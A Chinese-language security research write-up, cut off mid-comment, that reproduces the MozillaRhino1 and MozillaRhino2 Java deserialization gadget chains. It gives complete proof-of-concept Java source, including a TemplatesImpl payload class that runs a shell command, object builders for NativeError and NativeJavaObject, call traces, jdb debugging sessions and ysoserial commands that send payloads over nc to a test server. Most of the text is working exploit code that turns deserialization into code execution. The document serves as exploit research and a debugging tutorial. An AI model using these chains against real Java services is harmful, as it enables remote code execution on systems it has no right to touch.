Skip to content

标题: MozillaRhino反序列化利用链

创建: 2020-05-26 11:39 更新: 2020-07-22 20:09 链接: https://scz.617.cn/web/202005261139.txt


目录:

☆ 前言
☆ Serializable接口详解
   10) MozillaRhino反序列化漏洞
       10.1) org.mozilla.javascript.NativeError
           10.1.0) JacksonExploit.java
           10.1.1) NativeErrorExec.java
           10.1.2) 简化版调用关系
           10.1.3) NativeErrorExec2.java
           10.1.4) 调试器对被调试进程的挠动
           10.1.5) ysoserial.payloads.MozillaRhino1
       10.2) org.mozilla.javascript.NativeJavaObject
           10.2.1) NativeJavaObjectExec.java
           10.2.2) 简化版调用关系
           10.2.3) ysoserial.payloads.MozillaRhino2
           10.2.4) NativeJavaObjectExec6.java
           10.2.5) CVE-2019-6980(Zimbra)
☆ 参考资源

☆ 前言

本篇提供几个简版PoC以便调试分析MozillaRhino反序列化利用链。这大概是我见过 的最复杂的两条利用链,对于Matthias Kaiser、An Trinh(tint0)非常服气。

基本没写文字分析。因为我深知,几乎所有的文字分析都是写的人在那里自言自语自 嗨,只适合自己看,读的人要想整明白,需要的是完整的PoC及复现步骤,进而对之 展开动态调试。

最佳入手方式是,先把PoC跑通,然后打个断点:

stop in java.lang.Runtime.exec(java.lang.String[])

最后查看调用栈回溯中的各层代码。当然,这只是其中一部分,有许多数据准备工作 并不直接体现在前述调用栈回溯中,需要调试其他分支流程,去实践中领会精神吧。

☆ Serializable接口详解

10) MozillaRhino反序列化漏洞

10.1) org.mozilla.javascript.NativeError

参[89],Matthias Kaiser这篇"Return of the Rhino"是我最早接触的Java反序列化 文章,大概是2019年11月。当时感觉每个字都认识,就是不知道在说啥,6个月后再 次看到它,重读了一遍,这次懂了,学习之路不易。

PoC用到如下库:

js-1.7R2.jar js-1.6R7.jar

10.1.0) JacksonExploit.java

同CVE-2017-7525所用JacksonExploit.java,必须是AbstractTranslet的子类。


/ * javac -encoding GBK -g -XDignore.symbol.file JacksonExploit.java * * 为了抑制这个编译时警告,Java 8可以指定"-XDignore.symbol.file" * * warning: AbstractTranslet is internal proprietary API and may be removed in a future release / import java.io.*; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

/ * 必须是public,否则不能成功执行命令 / public class JacksonExploit extends AbstractTranslet { / * 必须是public / public JacksonExploit () { try { System.out.println( "scz is here" ); Runtime.getRuntime().exec( new String[] { "/bin/bash", "-c", "/bin/touch /tmp/scz_is_here" } ); } catch ( IOException e ) { e.printStackTrace(); } }

/*
 * 必须重载这两个抽象方法,否则编译时报错
 */
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler )
{
}

@Override
public void transform ( DOM document, SerializationHandler[] handler )
{
}

}

10.1.1) NativeErrorExec.java


/ * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeErrorExec.java / import java.io.; import java.lang.reflect.; import javax.management.BadAttributeValueExpException; import java.nio.file.Files; import com.sun.org.apache.xalan.internal.xsltc.trax.; import org.mozilla.javascript.;

public class NativeErrorExec { / * 参看TemplatesImplExec.java / private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception { byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() ); TemplatesImpl ti = new TemplatesImpl(); / * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让 * _bytecodes得到执行,中途就会抛异常。 / Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" ); _bytecodes.setAccessible( true ); _bytecodes.set( ti, new byte[][] { evilbyte } ); Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" ); _tfactory.setAccessible( true ); _tfactory.set( ti, new TransformerFactoryImpl() ); Field _name = TemplatesImpl.class.getDeclaredField( "_name" ); _name.setAccessible( true ); / * 第二形参可以是任意字符串,比如空串,但不能是null / _name.set( ti, "" ); return( ti ); } / end of getTemplatesImpl /

/*
 * 返回待序列化Object
 */
@SuppressWarnings("unchecked")
private static Object getObject ( String evilclass ) throws Exception
{
    /*
     * 不是public类,没法import
     */
    Class               clz_NativeError     = Class.forName( "org.mozilla.javascript.NativeError" );
    Constructor         cons_NativeError    = clz_NativeError.getDeclaredConstructor();
    cons_NativeError.setAccessible( true );
    /*
     * NativeError实例
     */
    ScriptableObject    ne                  = ( ScriptableObject )cons_NativeError.newInstance();
    Method              m_enter             = Context.class.getDeclaredMethod( "enter" );
    /*
     * 设置
     *
     * org.mozilla.javascript.MemberBox.memberObject
     * org.mozilla.javascript.NativeJavaMethod.methods[0]
     * org.mozilla.javascript.NativeJavaMethod.functionName
     */
    NativeJavaMethod    njm_enter           = new NativeJavaMethod( m_enter, "name" );
    /*
     * 用njm_enter设置
     *
     * org.mozilla.javascript.ScriptableObject$GetterSlot.getter
     *
     * 对应"name"
     *
     * 这次只是占坑,后面会用mb_enter替换掉njm_enter
     */
    ne.setGetterOrSetter( "name", 0, njm_enter, false );
    /*
     * private方法,不能直接调用
     */
    Method              m_getSlot           = ScriptableObject.class.getDeclaredMethod
    (
        "getSlot",
        String.class,
        int.class,
        int.class
    );
    m_getSlot.setAccessible( true );
    /*
     * SLOT_QUERY = 1
     */
    Object              slot                = m_getSlot.invoke( ne, "name", 0, 1 );
    Field               f_getter            = slot.getClass().getDeclaredField( "getter" );
    f_getter.setAccessible( true );
    /*
     * 无法直接import
     */
    Class               clz_MemberBox       = Class.forName( "org.mozilla.javascript.MemberBox" );
    Constructor         cons_MemberBox      = clz_MemberBox.getDeclaredConstructor( Method.class );
    cons_MemberBox.setAccessible( true );
    Object              mb_enter            = cons_MemberBox.newInstance( m_enter );
    /*
     * 用mb_enter设置
     *
     * org.mozilla.javascript.ScriptableObject$GetterSlot.getter
     *
     * 对应"name"
     */
    f_getter.set( slot, mb_enter );
    Method              m_newTransformer    = TemplatesImpl.class.getDeclaredMethod( "newTransformer" );
    NativeJavaMethod    njm_newTransformer  = new NativeJavaMethod( m_newTransformer, "message" );
    /*
     * 用njm_newTransformer设置
     *
     * org.mozilla.javascript.ScriptableObject$GetterSlot.getter
     *
     * 对应"message"
     *
     * 注意存在
     *
     * org.mozilla.javascript.ScriptableObject.slots[]
     *
     * 第一形参name不同,对应不同的slot
     */
    ne.setGetterOrSetter( "message", 0, njm_newTransformer, false );
    TemplatesImpl       ti                  = getTemplatesImpl( evilclass );
    Context             context             = Context.enter();
    /*
     * 参看
     *
     * org.mozilla.javascript.ScriptRuntime.initStandardObjects()
     *
     * 下面这个强制类型转换成立,不要被函数原型中的返回值类型迷惑
     */
    NativeObject        no                  = ( NativeObject )context.initStandardObjects();
    NativeJavaObject    njo                 = new NativeJavaObject( no, ti, TemplatesImpl.class );
    /*
     * 用njo设置
     *
     * org.mozilla.javascript.ScriptableObject.prototypeObject
     */
    ne.setPrototype( njo );
    BadAttributeValueExpException
                        bave                = new BadAttributeValueExpException( null );
    Field               f_val               = bave.getClass().getDeclaredField( "val" );
    f_val.setAccessible( true );
    f_val.set( bave, ne );
    return( bave );
}  /* end of getObject */

public static void main ( String[] argv ) throws Exception
{
    String                  evilclass   = argv[0];
    Object                  obj         = getObject( evilclass );
    ByteArrayOutputStream   bos         = new ByteArrayOutputStream();
    ObjectOutputStream      oos         = new ObjectOutputStream( bos );
    oos.writeObject( obj );
    ByteArrayInputStream    bis         = new ByteArrayInputStream( bos.toByteArray() );
    ObjectInputStream       ois         = new ObjectInputStream( bis );
    ois.readObject();
}

}

java \ -cp "js-1.7R2.jar:." \ NativeErrorExec JacksonExploit.class

抛出异常,但恶意代码已被执行。

JacksonExploit.class来自JacksonExploit.java。此次示例没有动用Javassist之类 的东西动态生成JacksonExploit.class的等价物,萝卜白菜各有所爱,我不喜欢。

10.1.2) 简化版调用关系


ObjectInputStream.readObject // 8u232+1.7R2 BadAttributeValueExpException.readObject // ObjectStreamClass:1170 NativeError.toString // BadAttributeValueExpException:86 // this.val = valObj.toString() // 此处开始NativeError利用链 NativeError.js_toString // NativeError:110 NativeError.getString // NativeError:150 // getString(thisObj, "name") ScriptableObject.getProperty // NativeError:198 IdScriptableObject.get // ScriptableObject:1617 ScriptableObject.get // IdScriptableObject:387 ScriptableObject.getImpl // ScriptableObject:287 MemberBox.invoke // ScriptableObject:2020 // nativeGetter.invoke(getterThis, args) MemberBox.method // MemberBox:158 // method = method() return (Method)this.memberObject // MemberBox:91 Method.invoke // MemberBox:161 // method.invoke(target, args) Context.enter NativeError.getString // NativeError:150 // getString(thisObj, "message") ScriptableObject.getProperty // NativeError:198 IdScriptableObject.get // ScriptableObject:1617 ScriptableObject.get // IdScriptableObject:387 ScriptableObject.getImpl // ScriptableObject:287 // 此处与Matthias Kaiser原文不严格对应,但基本意思没变 Context.getContext // ScriptableObject:2023 // cx = Context.getContext() // 如果前面没有执行Context.enter(),此函数中会抛异常 NativeJavaMethod.call // ScriptableObject:2024 // f.call(cx, f.getParentScope(), start, ScriptRuntime.emptyArgs) MemberBox meth = this.methods[index] // NativeJavaMethod:169 ScriptableObject.getPrototype // NativeJavaMethod:240 // o = o.getPrototype() return this.prototypeObject // ScriptableObject:627 if ((o instanceof Wrapper)) // NativeJavaMethod:234 // o此时是NativeJavaObject实例,后者实现了Wrapper接口 NativeJavaObject.unwrap // NativeJavaMethod:235 // javaObject = ((Wrapper)o).unwrap() return this.javaObject // NativeJavaObject:188 // this.javaObject此时是TemplatesImpl实例 MemberBox.invoke // NativeJavaMethod:247 // retval = meth.invoke(javaObject, args) // meth是MemberBox实例,封装了TemplatesImpl.newTransformer() MemberBox.method // MemberBox:158 // method = method() return (Method)this.memberObject // MemberBox:91 Method.invoke // MemberBox:161 // method.invoke(target, args) TemplatesImpl.newTransformer // 此处开始TemplatesImpl利用链 // 由Adam Gowdiak最早提出


MozillaRhino1、MozillaRhino2两条利用链属于我看过的利用链中最复杂的那一批。 Matthias Kaiser、An Trinh(tint0)对MozillaRhino太熟悉。

10.1.3) NativeErrorExec2.java

参[90],Twings对Matthias Kaiser的数据准备方案做了一处微小改动,前者没有调 用Context.enter()、Context.initStandardObjects(),这个改动很赞。


/ * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeErrorExec2.java / import java.io.; import java.lang.reflect.; import javax.management.BadAttributeValueExpException; import java.nio.file.Files; import com.sun.org.apache.xalan.internal.xsltc.trax.; import org.mozilla.javascript.;

public class NativeErrorExec2 { ... / * 返回待序列化Object / @SuppressWarnings("unchecked") private static Object getObject ( String evilclass ) throws Exception { ... / * 占坑用 / ScriptableObject ne2 = ( ScriptableObject )cons_NativeError.newInstance(); ( new ClassCache() ).associate( ne2 ); NativeJavaObject njo = new NativeJavaObject( ne2, ti, TemplatesImpl.class ); / * 用njo设置 * * org.mozilla.javascript.ScriptableObject.prototypeObject / ne.setPrototype( njo ); ... } / end of getObject / ... }


10.1.4) 调试器对被调试进程的挠动

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "js-1.7R2.jar:." \ NativeErrorExec JacksonExploit.class

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in org.mozilla.javascript.NativeJavaMethod.call

main[1] wherei [1] org.mozilla.javascript.NativeJavaMethod.call (NativeJavaMethod.java:157), pc = 0 [2] org.mozilla.javascript.ScriptableObject.getImpl (ScriptableObject.java:2,024), pc = 135 [3] org.mozilla.javascript.ScriptableObject.get (ScriptableObject.java:287), pc = 4 [4] org.mozilla.javascript.IdScriptableObject.get (IdScriptableObject.java:387), pc = 58 [5] org.mozilla.javascript.ScriptableObject.getProperty (ScriptableObject.java:1,617), pc = 5 [6] org.mozilla.javascript.NativeError.getString (NativeError.java:198), pc = 2 [7] org.mozilla.javascript.NativeError.js_toString (NativeError.java:150), pc = 24 [8] org.mozilla.javascript.NativeError.toString (NativeError.java:110), pc = 1 [9] javax.management.BadAttributeValueExpException.readObject (BadAttributeValueExpException.java:86), pc = 97 [10] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [11] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [12] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [13] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [14] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [15] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [16] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [17] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [18] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [19] NativeErrorExec.main (NativeErrorExec.java:156), pc = 59 main[1] clear org.mozilla.javascript.NativeJavaMethod.call main[1] up 4 main[5] print obj

你会发现"print obj"、"print start"导致目标JVM输出"scz is here"。如果前面没 有清除NativeJavaMethod.call()处的断点,执行"print obj"、"print start"会再 次命中NativeJavaMethod.call()处的断点:

main[1] wherei [1] org.mozilla.javascript.NativeJavaMethod.call (NativeJavaMethod.java:157), pc = 0 [2] org.mozilla.javascript.ScriptableObject.getImpl (ScriptableObject.java:2,024), pc = 135 [3] org.mozilla.javascript.ScriptableObject.get (ScriptableObject.java:287), pc = 4 [4] org.mozilla.javascript.IdScriptableObject.get (IdScriptableObject.java:387), pc = 58 [5] org.mozilla.javascript.ScriptableObject.getProperty (ScriptableObject.java:1,617), pc = 5 [6] org.mozilla.javascript.NativeError.getString (NativeError.java:198), pc = 2 [7] org.mozilla.javascript.NativeError.js_toString (NativeError.java:150), pc = 24 [8] org.mozilla.javascript.NativeError.toString (NativeError.java:110), pc = 1 [9] org.mozilla.javascript.NativeJavaMethod.call (NativeJavaMethod.java:157), pc = 0 [10] org.mozilla.javascript.ScriptableObject.getImpl (ScriptableObject.java:2,024), pc = 135 [11] org.mozilla.javascript.ScriptableObject.get (ScriptableObject.java:287), pc = 4 [12] org.mozilla.javascript.IdScriptableObject.get (IdScriptableObject.java:387), pc = 58 [13] org.mozilla.javascript.ScriptableObject.getProperty (ScriptableObject.java:1,617), pc = 5 [14] org.mozilla.javascript.NativeError.getString (NativeError.java:198), pc = 2 [15] org.mozilla.javascript.NativeError.js_toString (NativeError.java:150), pc = 24 [16] org.mozilla.javascript.NativeError.toString (NativeError.java:110), pc = 1 [17] javax.management.BadAttributeValueExpException.readObject (BadAttributeValueExpException.java:86), pc = 97 [18] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [19] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [20] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [21] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [22] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [23] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [24] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [25] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [26] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [27] NativeErrorExec.main (NativeErrorExec.java:156), pc = 59

"print obj"会调用NativeError.toString(),会再次触发NativeError利用链。如果 用Eclipse等GUI工具调试,查看调用栈回溯时,一旦选中obj、start这些变量,立即 触发obj.toString(),比jdb更坑爹。

10.1.5) ysoserial.payloads.MozillaRhino1

参[52]

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/MozillaRhino1.java

这是Matthias Kaiser提供的。

java \ -cp "js-1.7R2.jar:." \ VulnerableServer 192.168.65.23 1314

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar MozillaRhino1 \ '/bin/touch /tmp/scz_is_here' \ | nc -n 192.168.65.23 1314

抛出异常,但恶意代码已被执行。

10.2) org.mozilla.javascript.NativeJavaObject

10.2.1) NativeJavaObjectExec.java


/ * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeJavaObjectExec.java / import java.io.; import java.lang.reflect.; import sun.reflect.ReflectionFactory; import java.nio.file.Files; import com.sun.org.apache.xalan.internal.xsltc.trax.; import org.mozilla.javascript.; import org.mozilla.javascript.tools.shell.Environment;

public class NativeJavaObjectExec { / * 参看TemplatesImplExec.java / private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception { byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() ); TemplatesImpl ti = new TemplatesImpl(); / * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让 * _bytecodes得到执行,中途就会抛异常。 / Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" ); _bytecodes.setAccessible( true ); _bytecodes.set( ti, new byte[][] { evilbyte } ); Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" ); _tfactory.setAccessible( true ); _tfactory.set( ti, new TransformerFactoryImpl() ); Field _name = TemplatesImpl.class.getDeclaredField( "_name" ); _name.setAccessible( true ); / * 第二形参可以是任意字符串,比如空串,但不能是null / _name.set( ti, "" ); return( ti ); } / end of getTemplatesImpl /

/*
 * 返回待序列化Object
 */
@SuppressWarnings("unchecked")
private static Object getObject ( String evilclass ) throws Exception
{
    Method              m_enter             = Context.class.getDeclaredMethod( "enter" );
    /*
     * 无法直接import
     */
    Class               clz_MemberBox       = Class.forName( "org.mozilla.javascript.MemberBox" );
    Constructor         cons_MemberBox      = clz_MemberBox.getDeclaredConstructor( Method.class );
    cons_MemberBox.setAccessible( true );
    Object              mb_enter            = cons_MemberBox.newInstance( m_enter );
    Method              m_accessSlot        = ScriptableObject.class.getDeclaredMethod
    (
        "accessSlot",
        String.class,
        int.class,
        int.class
    );
    m_accessSlot.setAccessible( true );
    /*
     * public类,可以直接import
     */
    ScriptableObject    env_0               = ( ScriptableObject )new Environment();
    /*
     * 参org.mozilla.javascript.ScriptableObject
     *
     * SLOT_QUERY = 1
     * SLOT_MODIFY = 2
     * SLOT_MODIFY_GETTER_SETTER = 4
     *
     * 与MozillaRhino1不同,MozillaRhino2没有调用setGetterOrSetter()占
     * 坑,而是调用accessSlot()占坑
     */
    Object              slot                = m_accessSlot.invoke( env_0, "foo", 0, 4 );
    Field               f_getter            = slot.getClass().getDeclaredField( "getter" );
    f_getter.setAccessible( true );
    /*
     * 用mb_enter设置
     *
     * org.mozilla.javascript.ScriptableObject$GetterSlot.getter
     *
     * 对应"foo"
     */
    f_getter.set( slot, mb_enter );
    /*
     * 占坑用
     */
    ScriptableObject    env_dummy           = ( ScriptableObject )new Environment();
    /*
     * 没有用tint0的方案,此处用了Twings的方案,后者简洁明了
     */
    ( new ClassCache() ).associate( env_dummy );
    NativeJavaObject    njo_0               = new NativeJavaObject( env_dummy, env_0, Environment.class, true );
    Method              m_writeAdapterObject
                                            = NativeJavaObjectExec.class.getDeclaredMethod
    (
        "PrivateWriteAdapterObject",
        Object.class,
        ObjectOutputStream.class
    );
    Field               f_writeAdapterObject
                                            = NativeJavaObject.class.getDeclaredField( "adapter_writeAdapterObject" );
    f_writeAdapterObject.setAccessible( true );
    /*
     * 反序列化时NativeJavaObject.adapter_readAdapterObject被设置成
     *
     * org.mozilla.javascript.JavaAdapter.readAdapterObject()
     *
     * 至此序列化出去的njo_0在反序列化时会触发Context.enter()
     */
    f_writeAdapterObject.set( njo_0, m_writeAdapterObject );
    ScriptableObject    env_1               = ( ScriptableObject )new Environment();
    /*
     * 用env_1封装njo_0,就是找个成员变量存放njo_0
     *
     * 设置this.parentScopeObject
     */
    env_1.setParentScope( njo_0 );
    /*
     * SLOT_MODIFY = 2
     */
    m_accessSlot.invoke( env_1, "outputProperties", 0, 2 );
    TemplatesImpl       ti                  = getTemplatesImpl( evilclass );
    /*
     * NativeJavaArray是NativeJavaObject的子类。
     *
     * 此处用了ysoserial.payloads.JRMPListener展示过的一个技巧,调用父
     * 类构造函数生成子类实例。我不喜欢tint0原来的实现。
     */
    Constructor<?>      cons_NativeJavaObject
                                            = NativeJavaObject.class.getDeclaredConstructor
    (
        Scriptable.class,
        Object.class,
        Class.class
    );
    Constructor<?>      cons_NativeJavaArray
                                            = ReflectionFactory.getReflectionFactory().newConstructorForSerialization
    (
        NativeJavaArray.class,
        cons_NativeJavaObject
    );
    NativeJavaArray     nja                 = ( NativeJavaArray )cons_NativeJavaArray.newInstance
    (
        env_dummy,
        ti,
        TemplatesImpl.class
    );
    /*
     * 用nja封装env_1,就是找个成员变量存放env_1
     *
     * 设置this.prototype
     */
    nja.setPrototype( env_1 );
    NativeJavaObject    njo_1               = new NativeJavaObject( env_dummy, nja, NativeJavaArray.class, true );
    f_writeAdapterObject.set( njo_1, m_writeAdapterObject );
    return( njo_1 );
}  /* end of getObject */

/*
 * 必须是public的,否则序列化时就抛异常。参看
 *
 * org.mozilla.javascript.JavaAdapter.writeAdapterObject()
 */
public static void PrivateWriteAdapterObject ( Object javaObject, ObjectOutputStream out ) throws IOException
{
    out.writeObject( "java.lang.Object" );
    out.writeObject( new String[0] );
    out.writeObject( javaObject );
}

public static void main ( String[] argv ) throws Exception
{
    String                  evilclass   = argv[0];
    Object                  obj         = getObject( evilclass );
    ByteArrayOutputStream   bos         = new ByteArrayOutputStream();
    ObjectOutputStream      oos         = new ObjectOutputStream( bos );
    oos.writeObject( obj );
    ByteArrayInputStream    bis         = new ByteArrayInputStream( bos.toByteArray() );
    ObjectInputStream       ois         = new ObjectInputStream( bis );
    ois.readObject();
}

}

java \ -cp "js-1.7R2.jar:." \ NativeJavaObjectExec JacksonExploit.class

抛出异常,但恶意代码已被执行。

10.2.2) 简化版调用关系

感觉MozillaRhino2比MozillaRhino1更复杂,尤其当你想搞清楚来龙去脉时。


ObjectInputStream.readObject // 8u232+1.7R2 // 读njo_1 NativeJavaObject.readObject // ObjectStreamClass:1170 JavaAdapter.readAdapterObject // NativeJavaObject:940 ObjectInputStream.readObject // JavaAdapter:260 NativeJavaObject.readObject // NativeJavaArray是NativeJavaObject的子类 ObjectInputStream.defaultReadObject // NativeJavaObject:932 ScriptableObject.readObject // this是Environment实例,对应env_1 ObjectInputStream.defaultReadObject // ScriptableObject:2496 NativeJavaObject.readObject // this是NativeJavaObject实例,对应njo_0 JavaAdapter.readAdapterObject // NativeJavaObject:940 ObjectInputStream.readObject // JavaAdapter:260 // 读env_0 JavaAdapter.getAdapterClass // JavaAdapter:262 JavaAdapter.getObjectFunctionNames // JavaAdapter:311 ScriptableObject.getProperty // JavaAdapter:290 Environment.get // ScriptableObject:1617 ScriptableObject.get // Environment:104 ScriptableObject.getImpl // ScriptableObject:287 MemberBox.invoke // ScriptableObject:2020 Method.invoke // MemberBox:161 Context.enter ObjectInputStream.readObject // NativeJavaObject:945 // 读ti,设置nja.javaObject JavaAdapter.getAdapterClass // JavaAdapter:262 JavaAdapter.getObjectFunctionNames // JavaAdapter:311 ScriptableObject.getProperty // JavaAdapter:290 NativeJavaArray.get // ScriptableObject:1617 NativeJavaObject.get // NativeJavaArray:99 JavaMembers.get // NativeJavaObject:113 MemberBox.invoke // JavaMembers:118 Method.invoke // MemberBox:161 TemplatesImpl.getOutputProperties TemplatesImpl.newTransformer // TemplatesImpl:507 // 此处开始TemplatesImpl利用链 // 由Adam Gowdiak最早提出


JavaAdapter.getAdapterClass()、ScriptableObject.getProperty()会触发 Method.invoke()。

NativeJavaObject.、NativeJavaObject.readObject()中均会调用 NativeJavaObject.initMembers()。

10.2.3) ysoserial.payloads.MozillaRhino2

参[52]

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/MozillaRhino2.java

这是An Trinh(tint0)提供的。

java \ -cp "js-1.7R2.jar:." \ VulnerableServer 192.168.65.23 1314

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar MozillaRhino2 \ '/bin/touch /tmp/scz_is_here' \ | nc -n 192.168.65.23 1314

抛出异常,但恶意代码已被执行。

10.2.4) NativeJavaObjectExec6.java

tint0说MozillaRhino2利用链适用于1.6R6及以上版本,本小节用1.6R7测试。


/ * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.6R7.jar" NativeJavaObjectExec6.java / import java.io.; import java.util.; import java.lang.reflect.; import sun.reflect.ReflectionFactory; import java.nio.file.Files; import com.sun.org.apache.xalan.internal.xsltc.trax.; import org.mozilla.javascript.*; import org.mozilla.javascript.tools.shell.Environment;

public class NativeJavaObjectExec6 { / * 参看TemplatesImplExec.java / private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception { byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() ); TemplatesImpl ti = new TemplatesImpl(); / * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让 * _bytecodes得到执行,中途就会抛异常。 / Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" ); _bytecodes.setAccessible( true ); _bytecodes.set( ti, new byte[][] { evilbyte } ); Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" ); _tfactory.setAccessible( true ); _tfactory.set( ti, new TransformerFactoryImpl() ); Field _name = TemplatesImpl.class.getDeclaredField( "_name" ); _name.setAccessible( true ); / * 第二形参可以是任意字符串,比如空串,但不能是null / _name.set( ti, "" ); return( ti ); } / end of getTemplatesImpl /

/*
 * 返回待序列化Object
 */
@SuppressWarnings("unchecked")
private static Object getObject ( String evilclass ) throws Exception
{
    Method              m_enter             = Context.class.getDeclaredMethod( "enter" );
    /*
     * 无法直接import
     */
    Class               clz_MemberBox       = Class.forName( "org.mozilla.javascript.MemberBox" );
    Constructor         cons_MemberBox      = clz_MemberBox.getDeclaredConstructor( Method.class );
    cons_MemberBox.setAccessible( true );
    Object              mb_enter            = cons_MemberBox.newInstance( m_enter );
    Method              m_accessSlot        = ScriptableObject.class.getDeclaredMethod
    (
        "accessSlot",
        String.class,
        int.class,
        int.class
    );
    m_accessSlot.setAccessible( true );
    /*
     * public类,可以直接import
     */
    ScriptableObject    env_0               = ( ScriptableObject )new Environment();
    /*
     * 参org.mozilla.javascript.ScriptableObject
     *
     * SLOT_QUERY = 1
     * SLOT_MODIFY = 2
     * SLOT_MODIFY_GETTER_SETTER = 4
     *
     * 与MozillaRhino1不同,MozillaRhino2没有调用setGetterOrSetter()占
     * 坑,而是调用accessSlot()占坑
     */
    Object              slot                = m_accessSlot.invoke( env_0, "foo", 0, 4 );
    Field               f_getter            = slot.getClass().getDeclaredField( "getter" );
    f_getter.setAccessible( true );
    /*
     * 用mb_enter设置
     *
     * org.mozilla.javascript.ScriptableObject$GetterSlot.getter
     *
     * 对应"foo"
     */
    f_getter.set( slot, mb_enter );
    /*
     * 占坑用
     */
    ScriptableObject    env_dummy           = ( ScriptableObject )new Environment();

    /*
     * 这是Twings的方案,简洁明了
     */
    ( new ClassCache() ).associate( env_dummy );

    /*
     * 这是tint0的方案,测试可用
     */
    // Map                 associatedValues    = new Hashtable();
    // associatedValues.put( "ClassCache", new ClassCache() );
    // Field               f_associatedValues  = ScriptableObject.class.getDeclaredField( "associatedValues" );
    // f_associatedValues.setAccessible( true );
    // f_associatedValues.set( env_dummy, associatedValues );

    Method              m_writeAdapterObject
                                            = NativeJavaObjectExec6.class.getDeclaredMethod
    (
        "PrivateWriteAdapterObject",
        Object.class,
        ObjectOutputStream.class
    );
    NativeJavaObject    njo_0               = PrivateInitNativeJavaObject
    (
        env_dummy,
        env_0,
        true,
        m_writeAdapterObject
    );
    ScriptableObject    env_1               = ( ScriptableObject )new Environment();
    /*
     * 用env_1封装njo_0,就是找个成员变量存放njo_0
     *
     * 设置this.parentScopeObject
     */
    env_1.setParentScope( njo_0 );
    /*
     * SLOT_MODIFY = 2
     */
    m_accessSlot.invoke( env_1, "outputProperties", 0, 2 );
    TemplatesImpl       ti                  = getTemplatesImpl( evilclass );
    NativeJavaArray     nja                 = PrivateInitNativeJavaArray
    (
        env_dummy,
        ti,
        env_1
    );
    NativeJavaObject    njo_1               = PrivateInitNativeJavaObject
    (
        env_dummy,
        nja,
        true,
        m_writeAdapterObject
    );
    return( njo_1 );
}  /* end of getObject */

private static NativeJavaArray PrivateInitNativeJavaArray
(
    Scriptable  parent,
    Object      javaObject,
    Scriptable  prototype
) throws Exception
{
    Constructor<?>      cons_Object         = Object.class.getDeclaredConstructor();
    Constructor<?>      cons_NativeJavaArray
                                            = ReflectionFactory.getReflectionFactory().newConstructorForSerialization
    (
        NativeJavaArray.class,
        cons_Object
    );
    NativeJavaArray     nja                 = ( NativeJavaArray )cons_NativeJavaArray.newInstance();
    Field               f_parent            = NativeJavaObject.class.getDeclaredField( "parent" );
    Field               f_javaObject        = NativeJavaObject.class.getDeclaredField( "javaObject" );
    Field               f_prototype         = NativeJavaArray.class.getDeclaredField( "prototype" );
    f_parent.setAccessible( true );
    f_javaObject.setAccessible( true );
    f_prototype.setAccessible( true );
    f_parent.set( nja, parent );
    f_javaObject.set( nja, javaObject );
    /*
     * 对于1.6R7,NativeJavaObject、NativeJavaArray各有自己的成员
     * prototype,必须同时设置它们,这是个坑。
     *
     * 对于1.7R2,NativeJavaArray没有重载成员prototype,无此问题。
     *
     * 设置子类NativeJavaArray.prototype
     *
     * 若未设置,将来NativeJavaArray.getPrototype()不会返回env_1
     */
    f_prototype.set( nja, prototype );
    /*
     * 设置父类NativeJavaObject.prototype
     *
     * 若未设置,反序列化时有如下调用关系:
     *
     * NativeJavaObject.initMembers
     *   JavaMembers.lookupClass
     *     JavaMembers.<init>
     *       Context.getContext
